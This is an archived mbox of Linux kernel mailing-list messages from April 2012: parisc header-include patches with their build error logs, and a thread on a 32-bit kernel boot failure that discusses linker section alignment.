--nextPart3040971.EC0xUtAzTX--


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 6/6] parisc: move definition of PAGE0 to asm/page.h
Date: Sat, 21 Apr 2012 20:22:17 +0200
Lines: 157
Approved: news@gmane.org
Message-ID: <1621298.ONJIROlsPe@donald.sf-tec.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1335033248 3210 80.91.229.3 (21 Apr 2012 18:34:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 20:34:07 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLf8I-0004Yo-MC
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 20:34:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752537Ab2DUSeD convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 14:34:03 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:40860 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752273Ab2DUSdg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:36 -0400
Original-Received: (qmail 24268 invoked from network); 21 Apr 2012 18:33:21 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58540 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:21 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Date: Sat, 21 Apr 2012 20:33:21 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033201.573483@mail.sf-mail.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4287

This was defined in asm/pdc.h which needs to include asm/page.h for
__PAGE_OFFSET. This leads to an include loop so that page.h eventually =
will
include pdc.h again. While this is no problem because of header guards,=
 it is
a problem because some symbols may be undefined. Such an error is this:

In file included from /home/buildbot/repos/linux/include/linux/bitops.h=
:35:0,
                 from /home/buildbot/repos/linux/include/asm-generic/ge=
torder.h:7,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/page.h:162,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/pdc.h:346,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/processor.h:16,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/spinlock.h:6,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/include/linux/sysfs.h:=
20,
                 from /home/buildbot/repos/linux/include/linux/kobject.=
h:21,
                 from /home/buildbot/repos/linux/include/linux/device.h=
:17,
                 from /home/buildbot/repos/linux/include/linux/eisa.h:5=
,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/pci=
=2Ec:11:
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h: In functio=
n =E2=80=98set_bit=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:82:2: error=
: implicit declaration of function =E2=80=98_atomic_spin_lock_irqsave=E2=
=80=99 [-Werror=3Dimplicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:84:2: error=
: implicit declaration of function =E2=80=98_atomic_spin_unlock_irqrest=
ore=E2=80=99 [-Werror=3Dimplicit-function-declaration]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/page.h  |    6 ++++++
 arch/parisc/include/asm/pdc.h   |    7 -------
 arch/parisc/kernel/pdc_cons.c   |    1 +
 arch/parisc/kernel/time.c       |    1 +
 drivers/parisc/sba_iommu.c      |    1 +
 drivers/video/console/sticore.c |    2 ++
 6 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/p=
age.h
index a84cc1f..4e0e7db 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -160,5 +160,11 @@ extern int npmem_ranges;
=20
 #include <asm-generic/memory_model.h>
 #include <asm-generic/getorder.h>
+#include <asm/pdc.h>
+
+#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
+
+/* DEFINITION OF THE ZERO-PAGE (PAG0) */
+/* based on work by Jason Eckhardt (jason@equator.com) */
=20
 #endif /* _PARISC_PAGE_H */
diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pd=
c.h
index 4ca510b..7f0f2d2 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -343,8 +343,6 @@
=20
 #ifdef __KERNEL__
=20
-#include <asm/page.h> /* for __PAGE_OFFSET */
-
 extern int pdc_type;
=20
 /* Values for pdc_type */
@@ -677,11 +675,6 @@ static inline char * os_id_to_string(u16 os_id) {
=20
 #endif /* __KERNEL__ */
=20
-#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
-
-/* DEFINITION OF THE ZERO-PAGE (PAG0) */
-/* based on work by Jason Eckhardt (jason@equator.com) */
-
 /* flags of the device_path */
 #define	PF_AUTOBOOT	0x80
 #define	PF_AUTOSEARCH	0x40
diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_con=
s.c
index 4f00459..9bbd2a5 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -50,6 +50,7 @@
 #include <linux/init.h>
 #include <linux/major.h>
 #include <linux/tty.h>
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
=20
 static DEFINE_SPINLOCK(pdc_console_lock);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 7c07743..70e105d 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -29,6 +29,7 @@
 #include <asm/uaccess.h>
 #include <asm/io.h>
 #include <asm/irq.h>
+#include <asm/page.h>
 #include <asm/param.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 8644d53..42cfcd9 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -44,6 +44,7 @@
 #include <asm/ropes.h>
 #include <asm/mckinley.h>	/* for proc_mckinley_root */
 #include <asm/runway.h>		/* for proc_runway_root */
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for PDC_MODEL_* */
 #include <asm/pdcpat.h>		/* for is_pdc_pat() */
 #include <asm/parisc-device.h>
diff --git a/drivers/video/console/sticore.c b/drivers/video/console/st=
icore.c
index 6468a29..39571f9 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -22,7 +22,9 @@
 #include <linux/font.h>
=20
 #include <asm/hardware.h>
+#include <asm/page.h>
 #include <asm/parisc-device.h>
+#include <asm/pdc.h>
 #include <asm/cacheflush.h>
 #include <asm/grfioctl.h>
=20
--=20
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/6] use linux/bitops.h instead of linux/log2.h to get fls()
Date: Sat, 21 Apr 2012 20:23:58 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3739293.5fPmfJVmA0@donald.sf-tec.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1335033266 3310 80.91.229.3 (21 Apr 2012 18:34:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:26 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Arnd Bergmann <arnd@arndb.de>, "H. Peter Anvin" <hpa@zytor.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 21 20:34:24 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SLf8a-0004mT-7e
	for glk-linux-kernel-3@plane.gmane.org; Sat, 21 Apr 2012 20:34:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752267Ab2DUSeE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 21 Apr 2012 14:34:04 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:39974 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751986Ab2DUSdg (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:36 -0400
Original-Received: (qmail 24254 invoked from network); 21 Apr 2012 18:33:19 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58537 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:19 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Date: Sat, 21 Apr 2012 20:33:19 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033199.699870@mail.sf-mail.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1285821 gmane.linux.ports.parisc:4288

Since d66acc39c7cee323733c8503b9de1821a56dff7e (bitops: Optimise get_order())
getorder.h includes log2.h to get fls() and fls64(). They are not defined in
log2.h, but in bitops.h. This works since log2.h includes bitops.h, but we
should do it properly to not get any bad surprises if log2.h changes.

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 include/asm-generic/getorder.h |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/include/asm-generic/getorder.h b/include/asm-generic/getorder.h
index 65e4468..563114f 100644
--- a/include/asm-generic/getorder.h
+++ b/include/asm-generic/getorder.h
@@ -4,7 +4,7 @@
 #ifndef __ASSEMBLY__
 
 #include <linux/compiler.h>
-#include <linux/log2.h>
+#include <linux/bitops.h>
 
 /*
  * Runtime evaluation of get_order()
-- 
1.7.9.2


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/6] use linux/bitops.h instead of linux/log2.h to get fls()
Date: Sat, 21 Apr 2012 20:23:58 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <1335033199.699870__39891.7914172218$1335033267$gmane$org@mail.sf-mail.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1335033267 3314 80.91.229.3 (21 Apr 2012 18:34:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:27 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Arnd Bergmann <arnd@arndb.de>, "H. Peter Anvin" <hpa@zytor.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 20:34:26 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLf8b-0004mT-92
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 20:34:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752273Ab2DUSeE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 14:34:04 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41199 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752255Ab2DUSdg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:36 -0400
Original-Received: (qmail 24254 invoked from network); 21 Apr 2012 18:33:19 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58537 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:19 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Date: Sat, 21 Apr 2012 20:33:19 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033199.699870@mail.sf-mail.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1285822 gmane.linux.ports.parisc:4289
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1285822>

Since d66acc39c7cee323733c8503b9de1821a56dff7e (bitops: Optimise get_order())
getorder.h includes log2.h to get fls() and fls64(). They are not defined in
log2.h, but in bitops.h. This works since log2.h includes bitops.h, but we
should do it properly to not get any bad surprises if log2.h changes.

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 include/asm-generic/getorder.h |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/include/asm-generic/getorder.h b/include/asm-generic/getorder.h
index 65e4468..563114f 100644
--- a/include/asm-generic/getorder.h
+++ b/include/asm-generic/getorder.h
@@ -4,7 +4,7 @@
 #ifndef __ASSEMBLY__
 
 #include <linux/compiler.h>
-#include <linux/log2.h>
+#include <linux/bitops.h>
 
 /*
  * Runtime evaluation of get_order()
-- 
1.7.9.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/6] parisc: add missing includes in asm/spinlock.h
Date: Sat, 21 Apr 2012 20:23:32 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <2891577.BP83TZWMFp@donald.sf-tec.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1335033268 3319 80.91.229.3 (21 Apr 2012 18:34:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:28 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 20:34:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLf8a-0004mT-OA
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 20:34:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752594Ab2DUSeE convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 14:34:04 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:33753 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752267Ab2DUSdg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:36 -0400
Original-Received: (qmail 24264 invoked from network); 21 Apr 2012 18:33:20 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58538 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:20 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Date: Sat, 21 Apr 2012 20:33:20 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033200.469986@mail.sf-mail.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4290

This leads to this errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20:0,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/bitops.h:56,
                 from /home/buildbot/repos/linux/include/linux/bitops.h=
:22,
                 from /home/buildbot/repos/linux/include/linux/kernel.h=
:19,
                 from /home/buildbot/repos/linux/include/linux/sched.h:=
55,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/asm=
-offsets.c:31:
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h: In funct=
ion =E2=80=98arch_spin_is_locked=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:9:2: erro=
r: implicit declaration of function =E2=80=98__ldcw_align=E2=80=99 [-We=
rror=3Dimplicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:9:29: war=
ning: initialization makes pointer from integer without a cast [enabled=
 by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h: In funct=
ion =E2=80=98arch_spin_lock_flags=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:22:2: err=
or: implicit declaration of function =E2=80=98mb=E2=80=99 [-Werror=3Dim=
plicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:23:4: war=
ning: assignment makes pointer from integer without a cast [enabled by =
default]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:24:2: err=
or: implicit declaration of function =E2=80=98__ldcw=E2=80=99 [-Werror=3D=
implicit-function-declaration]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/spinlock.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/a=
sm/spinlock.h
index 804aa28..3516e0b 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -1,6 +1,8 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
=20
+#include <asm/barrier.h>
+#include <asm/ldcw.h>
 #include <asm/processor.h>
 #include <asm/spinlock_types.h>
=20
--=20
1.7.9.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 32bit kernel
Date: Sat, 21 Apr 2012 15:15:10 -0400
Lines: 66
Approved: news@gmane.org
Message-ID: <BLU0-SMTP37FD4247EEDA51AB13F63E97230@phx.gbl>
References: <20120419102608.1834003e@driller.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1335035734 19743 80.91.229.3 (21 Apr 2012 19:15:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 19:15:34 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 21:15:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLfmO-0002Ac-Cb
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 21:15:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751138Ab2DUTP2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 15:15:28 -0400
Original-Received: from blu0-omc4-s32.blu0.hotmail.com ([65.55.111.171]:17521 "EHLO
	blu0-omc4-s32.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750899Ab2DUTP1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 15:15:27 -0400
Original-Received: from BLU0-SMTP37 ([65.55.111.135]) by blu0-omc4-s32.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 21 Apr 2012 12:15:26 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP37.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 21 Apr 2012 12:15:26 -0700
In-Reply-To: <20120419102608.1834003e@driller.lan>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 21 Apr 2012 19:15:26.0588 (UTC) FILETIME=[1BB393C0:01CD1FF3]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4291>

On 19-Apr-12, at 4:26 AM, Guy Martin wrote:

> The same from the non working 3.3.1 one :
> 10100000 A _text
> 10100100 T _stext
> 10100100 T stext


It seems to me that _stext should be at the same address as _text.
_stext/stext are in __HEAD.  It is

./include/linux/init.h:#define __HEAD		.section	".head.text","ax"
./include/asm-generic/vmlinux.lds.h:#define HEAD_TEXT  *(.head.text)

We have the following in head.S:

         __HEAD

         .align  4
         .import init_thread_union,data
         .import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
#ifndef CONFIG_64BIT
         .import fault_vector_11,code    /* IVA parisc 1.1 32 bit */
         .import $global$                /* forward declaration */
#endif /*!CONFIG_64BIT*/
         .export _stext,data             /* Kernel want it this way! */
_stext:
ENTRY(stext)
         .proc
         .callinfo

         /* Make sure sr4-sr7 are set to zero for the kernel address  
space */
         mtsp    %r0,%sr4

and the following in vmlinux.lds.S:

SECTIONS
{
         . = KERNEL_BINARY_TEXT_START;

         _text = .;              /* Text and read-only data */
         .text ALIGN(16) : {
                 HEAD_TEXT
                 TEXT_TEXT

It would appear the linker has messed up the ALIGN(16), but it
isn't clear why.  If you look at the kernel with objdump, I would
expect zeros from 10100000 to 10100100, but maybe something
else is there.

I don't think this is directly related to the size of the kernel.

I vaguely recall seeing this before.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 32bit kernel
Date: Sat, 21 Apr 2012 17:43:38 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <BLU0-SMTP851712EFA6813BF1C68EB597230@phx.gbl>
References: <20120419102608.1834003e@driller.lan> <BLU0-SMTP37FD4247EEDA51AB13F63E97230@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1335044643 10833 80.91.229.3 (21 Apr 2012 21:44:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 21:44:03 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 23:43:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLi61-0003X9-GU
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 23:43:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751515Ab2DUVn5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 17:43:57 -0400
Original-Received: from blu0-omc4-s8.blu0.hotmail.com ([65.55.111.147]:25716 "EHLO
	blu0-omc4-s8.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751371Ab2DUVn4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 17:43:56 -0400
Original-Received: from BLU0-SMTP85 ([65.55.111.136]) by blu0-omc4-s8.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 21 Apr 2012 14:43:55 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP85.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 21 Apr 2012 14:43:55 -0700
In-Reply-To: <BLU0-SMTP37FD4247EEDA51AB13F63E97230@phx.gbl>
X-Mailer: Apple Mail (2.936)
